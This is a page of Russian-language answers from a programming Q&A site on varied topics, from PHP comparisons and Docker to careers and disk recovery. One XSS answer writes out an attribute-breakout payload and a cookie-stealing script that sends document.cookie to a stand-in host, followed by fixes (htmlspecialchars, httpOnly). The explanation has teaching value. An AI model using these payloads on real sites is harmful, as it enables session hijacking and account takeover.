• Как скрыть номер карты или счета в форме?

    @dmitryKovalskiy
    программист средней руки
    По соображениям безопасности ваши реквизиты не нужны клиенту от слова "никак".
    1) Вы подключаетесь к некому платежному сервису, сообщая ему реквизиты, на которые будут поступать деньги.
    2) Вы направляете клиента в этот платежный сервис с нужными входными параметрами.
    3) Клиент передает свои деньги платежному сервису.
    4) Платежный сервис передает деньги вам, забрав свою долю.

    На какой их этих шагов вы хотите засунуть свой номер карты или счета?
    Ответ написан
    2 комментария
  • Что не так с php?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега PHP
    В первом случае не сравнение, а присваивание. В итоге в условии используется значение переменной a, которое равно 1, которое приводится к true.

    Во втором случае в первой строке вы производите сравнение, а не присваивание значения. Поэтому во второй строке у переменной $a нет значения, то есть она точно не равна 1.

    С php всё ок, проблема с вашим кодом.
    Ответ написан
    1 комментарий
  • Сколько часов в день нужно уделять, чтобы стать Java Middle?

    @AndrewStr
    Вопрос в корне неверный, как и подход.
    Для начала разработчики джуниор, мидл, сеньор отличаются не столько знанием большого количества технологий, сколько знанием определенных корнер кейсов в каких-то технологиях, так же они отличаются умением построить и спроектировать ту или иную часть системы, или систему целиком, зависит от опыта, который кстати тоже бывает разный.
    Я бы сказал что не менее важны и так называемые софт скиллы, по сути это можно назвать именно опытом. Опытом общения с бизнесом и командой, умением передавать знания новым сотрудникам и так далее. Да и зацикленность на технологии тоже не самая лучшая черта, всё-таки для разных задач есть разные инструменты, и задача действительно опытного разработчика их подобрать, это я вам как человек который пишет именно на Java говорю.
    Суть в том, что большинство этих умений невозможно получить в искуственной среде, ну не сможете вы изобразить давление бизнеса на себя, когда надо сделать какую-то фичу быстро, а лучше "вчера", а в таких ситуация аккурат и появляются различия и сразу видно насколько человек подходит хорошо к написанию кода который он пишет, как ведёт он с другими людьми в такой стрессовой ситуации, ну и так далее.
    Я бы вам советовал уделить обучению год, но уделить крепко и серьезно, а потом искать позицию джуниор разработчика, а дальше уже продолжать обучение (это прийдется делать всегда) ну и получать реальный опыт в реальных условиях.
    Вышло сумбурно, я не писатель, но надеюсь помог.
    Ответ написан
    Комментировать
  • Плохо ли использовать повторно переменную?

    Stalker_RED
    @Stalker_RED
    Работать будет, и скорее всего даже ничего не взорвется.

    Но однажды вы, или другшой разработчик увидев $date='12:00'; и не заметив $date='12 октября'; попытается использовать эту переменную для обработки '12:00' и получит ошибку.
    Ответ написан
    1 комментарий
  • Проблемы трудоустройства и свободного времени в it, насколько все плохо?

    nki
    @nki
    bezkart.ru готовая система лояльности
    вопрос оплаты труда волнует меня в последнюю очередь

    вранье
    с позиции нуба и чайника, нравится эта сфера, процесс обучения доставляет удовольствие.

    просто вы работать еще не начали в этой сфере
    Никто ведь не захочет тратить 90% времени в вузе на учебу, а потом 95% из взрослой жизни.

    Начни с ответа на вопрос - "как я хочу жить?", а потом уже решайте кем работать чтобы обеспечить себе такую жизнь.
    Я часто предлагаю таким не определившимся следующее "упражнение" - представьте себе свой идеальный рабочий день. С самого пробуждения до отхода ко сну. Прямо в мельчайших подробностях. Где и с кем живете, что едите, как и где работаете и т.д. Повторить с выходным днем. Теперь вопрос - ваша выбранная деятельность позволит вам достичь желаемого?

    А трудоустройство, правда ли, что работодатель зачастую требует знания новых технологий, которым там максимум полгода, а у тебя с ними должно уже быть несколько проектов?

    нет
    тем более что профессия подразумевает многочисленные болезни

    Что за бред? Твое здоровье в твоих руках. Не забывай заниматься физической активностью и профилактикой болезней.
    И что делать, если ты занимаешься одним, а в один момент это становиться неактуальным - учить что-то новое заново?

    Это нормально. У тебя будет опыт и выучить что-то новое не так уж и сложно.
    Ответ написан
    12 комментариев
  • Какой язык/фреймворк выбрать?

    longclaps
    @longclaps
    Единственный действительно универсальный подход состоит в том, чтобы не изучать ничего.
    В таком случае твои познания в любой области будут равно глубоки.
    Всё остальные неизбежно ведёт к специализации.
    Ну, ты понял.
    Ответ написан
    1 комментарий
  • HDD не открывается и просит его форматировать. Возможно ли спасти структуру папок?

    Zettabyte
    @Zettabyte
    Проф. восстановление данных ▪ Вопрос? См. профиль
    Я так понимаю если я его форматирую то смогу вытащить файлы
    Объясните пожалуйста, логику этого предположения. Кроме шуток - правда очень интересно (пока в жизнь только его не воплощайте).

    Какова вероятность что я смогу её сохранить
    С имеющейся сейчас информацией - от 0 до 99%.

    Я пока оставил всё как есть.
    Это, в сочетании с консультацией здесь - разумное решение.

    Ни в коем случае не слушайте советы про ремапы, HDD Regenerator и прочее "восстановление работоспособности". В зависимости от текущего состояния диска, уже есть шанс прикончить его окончательно (так, что сами вы уже никаких файлов точно не восстановите). Насколько этот шанс высок и до какого состояния прикончить - вслепую не оценить.

    Если вы не хотите обращаться в компанию, занимающуюся восстановлением данных профессионально (а это было бы единственно правильным решением, т.к состояние диска явно ухудшается), то вам необходимо сделать максимально полный образ диска.

    Из домашних вариантов неплохим был бы gddrescue (GNU ddrescue), если вы дружите с Линуксом. Если нет, то используйте hex-редакторы, например WinHex или CI Hex Viewer.

    После этого образ надо проанализировать на предмет содержащихся там файлов. Для этого скачайте старую версию R.saver (она умеет работать с образами), откройте образ и запустите полный анализ.

    Кроме того, вы можете продиагностировать диск с помощью R.tester'а, но я бы не рекомендовал делать любую диагностику "ради интереса". Гораздо полезнее будет держать диск выключенным, тем более, что в чём проблема вы в целом уже представляете.
    Ответ написан
    2 комментария
  • Как назвать поля для формы подписки?

    Vlad_IT
    @Vlad_IT
    Front-end разработчик
    Я бы реализовал таблицу подписки, где были поля
    id
    user_id
    theme_id
    и каждая строка таблице являлась одной подпиской. Если пользователь будет подписан на 3 раздела, то буде три строки с одинаковым user_id и разными theme_id.
    Плюс такого метода в том, что вы сможете потом добавить новый раздел сайта (например мероприятия) и вам не нужно будет добавлять в таблицу новую колонку.
    Ответ написан
    Комментировать
  • Программирование - что для старта выучить ребенку?

    alexgearbox
    @alexgearbox
    Ответ написан
    Комментировать
  • Что будет если я скопирую дизайн сайта популярного интернет-магазина?

    Vlad_IT
    @Vlad_IT
    Front-end разработчик
    Смогут ли они что-то предьявить за кнопки или структуру дизайна и прочее? Спасибо

    Нет, т.к. с таким подходом ваш сайт не станет популярным, и они даже не узнают о нем.
    Ответ написан
  • Зачем мне docker, vagrant если есть openserver, denwer?

    @alexkdev
    1. Рекомендую не пользоваться denwer
    2. Если тебе не нужен docker, не используй его.
    3. Я думаю что такого бы вопроса не возникло если бы вы ознакомились с "Что такое docker?". Благо материалов на эту тему достаточно (видео, статьи и книги)
    4. После того как разберетесь с общими понятиями docker и для чего его применяют. Почтайте эту очень занимательную статью https://habr.com/company/flant/blog/334470/
    Ответ написан
    Комментировать
  • Зачем мне docker, vagrant если есть openserver, denwer?

    @stratosmi
    Как я сейчас понимаю: docker, vagrant используются когда мы хотим проект залить на выделенный сервер. А openserver когда хотим залить на виртуальный хостинг где уже установлены скажем apache, php и т.д


    Нет.

    Vagrant всего лишь удобный способ конфигурирования и запуска ПО в изолированной среде.
    Ориентирован на разработку.

    Docker - способ изоляции для разработки, развертывания и эксплуатации, опять таки со своими удобствами.

    Ключевое слово - изоляция.

    Использовать Docker на классических shared-хостингах, действительно, невозможно. На VDS/VPS - возможно, тут вы правы.

    Про проблему изоляции:

    Любое ПО нуждается в определенном окружении. Библиотеки, прочие сервисы (например, СУБД), конфигурирование определенным образом, расположение файлов и пр.
    Встречаются ситуации, когда, будучи отлаженным на одном компьютере, ПО при переносе на другой - категорически отказывается работать.
    Простейшая ситуация - из-за нехватки модулей/библиотек/сервисов. Если это так - их можно просто доставить (хотя это тоже время на разборки).
    Более сложная ситуация, когда на компьютере требуется более одного ключевого ПО. А модуля/библиотеки этих разных программ вступают в противоречие (требуются разные версии).

    Вот чтобы со всем этим не разбираться - и придуман Docker.
    Вы отлаживаете во вполне определенном окружении и с вполне определенными настройками - и в точно таком же виде переносите на рабочую систему.

    Vagrant - это просто удобство для разработчика.
    Для быстрого воссоздания определенных настроек.
    Ответ написан
    4 комментария
  • Как правильно вести и заканчивать проекты?

    tema_sun
    @tema_sun
    Проект не надо заканчивать. Его надо запускать как можно быстрее и потом итеративно развивать.
    Не удивительно, что ни в одной кинги по программированию про это не пишут. Ведь к собственно навыку написания кода это отношения не имеет никакого.
    Ответ написан
    3 комментария
  • Решается ли вопрос поддержки актуальности данных в вебе?

    Stalker_RED
    @Stalker_RED
    Если я правильно понимаю о чем вы, то вы несколько путаете теплое с мягким.

    Проще говоря: открывается форма разными людьми и сохраняется с новыми данными. Хороший вопрос - "что будет".
    В зависимости от того как устоено хранение данных будет либо две версии, либо последняя по времени, либо объединение двух этих версий, либо вообще ошибка и откат, либо самоуничтожение всей системы термитными шашками.

    Вот как вы напишете - так и будет. И это не только в вебе. Можете открыть один txt файл двумя виндовыми блоконотами и поредактировать.

    Большинство идет по самому простому пути - последняя по времени. Но большинство != все. Как вы верно заметили, и в гуглдокс и в некоторых других системах эта проблема решается тем или иным способом. А универсальной пилюли на все случаи нет.
    Ответ написан
    2 комментария
  • Решается ли вопрос поддержки актуальности данных в вебе?

    @Ambrosian
    В вебе традиционно забивается на синхронизацию данных - так я думаю.
    Например, приложение вычитало данные из базы и начинает их обновлять по собственной логики. В конце данные записываются обратно. Но в эти секунды соседний процесс мог тоже начать что-то обновлять.


    Нет.
    Вы видимо просто не умеете и не знаете - но это не значит, что все делают так как вам кажется. Есть транзакции, различные блокировки (ленивые, оптимистичные), подписка на уведомления из очередей и пр. и пр.

    Другое дело, что, скажем, обновление лайков вполне можно сделать без поддержки строгого учета данных. Какая разница - увидит Маша на один лайк раньше, чем Саша. Или Саша будет первым.

    А такие вещи как работы с платежами в том числе и в вебе делаются строго. Ну если программист компетентен.

    UPD:
    Пример:

    В форме 10 полей. 1,2,3 изменил оператор А, 3,4,5 изменил оператор Б.
    В базу пойдет 1,2,3 [какая версия пришла второй], 4,5.

    Проблема эта видится более глубокой чем кажется. И она не решается. Так ли это?


    Она и не должна решаться сама собой.

    Ситуации - индивидуальны

    В одном случае можно позволить редактировать поля независимо.
    В другом - поля редактируются только вместе.
    В третьем - вообще наплевать, главное максимально низкая стоимость разработки.

    Как именно поступать в конкретном случае - решайте совместно с заказчиком.

    Опытному разработчику потому много и платят, что он все эти косяки способен предвидеть и предложить пути решения. А вовсе не за то, что он быстрее код набивает и больше for и if в единицу времени напишет.

    Это вовсе не проблема. Рядовая типовая повседневная задача.
    Другое дело, что ее решать как правило и не нужно в вебе состоящим из бложиков да соц. сетей.
    Ответ написан
  • Как проверить в if каждую 1000, 2000 и тд?

    GTRxShock
    @GTRxShock
    SA
    if ($get_page['views'] % 1000 == 0) {
        echo "Любое действие";
    }
    Ответ написан
    6 комментариев
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • На чем зарабатывают сайты без рекламы?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Есть много сайтов, которые не зарабатывают деньги вообще. Это нормально.

    Есть сайты, которые поддерживает неявный спонсор. Например википедия так жила много лет, и донат появился относительно недавно.

    Есть сайты, которые принадлежат некоему проекту, который приносит деньги. А сам сайт просто довесок.
    Ответ написан
    27 комментариев
  • Виртуальная машина - для чего нужна при разработке?

    jamakasi666
    @jamakasi666
    Просто IT'шник.
    1) Ставим НУЖНУЮ ОС, в нее софт ВНЕЗАПНОЙ версии, тестим НЕОЖИДАННЫЕЕ баги.
    2) Ставим НУЖНУЮ ОС, в ней собираем из исходников НЕОБХОДИМЫЙ софт.
    3) Ставим НУЖНУЮ ОС ИНТЕРЕСУЮЩЕЙ версии, ТЕСТИМ, УЧИМСЯ, ПОВЫШАЕМ квалификацию.
    4) Создаем НУЖНОЕ число виртулок, ставим в них НУЖНЫЕ версии ОС и софта, ОРГАНИЗУЕМ из них НЕОБХОДИМЫЙ стенд и ТЕСТИМ, УЧИМСЯ, ОТТАЧИВАЕМ навыки.
    5) Создаем виртуалки, ДАЕМ УДАЛЕННЫЙ ДОСТУП разрабам, разрабы довольны и могут моделировать что хотят.
    6) Поднимаем НУЖНЫЙ софт НУЖНЫЙХ версий, накатываем НЕОБХОДИМЫЕ конфиги, ДЕЛИМСЯ готовой виртуалкой с другими людьми.
    7) Поднимаем НУЖНЫЙ софт НУЖНЫЙХ версий, накатываем НЕОБХОДИМЫЕ конфиги, ЗАБЫВАЕМ проблемы если сдох сервер т.к. можем куда угодно перенести готовую виртуалки и без телодвижений запустить ее.
    8) ЗАНИМАЕМСЯ исследованием безопасности софта\ос в виртуалке или вирусов.
    9) СМОТРИМ порно\лук\i2p\... в виртуалке, не паримся за оставленные следы на компе.
    10) ПОДНИМАЕМ какие угодно, каких угодно версий версий не переживая за основную ОС.
    ...) ....
    1005000....) каждый находит свое применение.
    Ответ написан
    Комментировать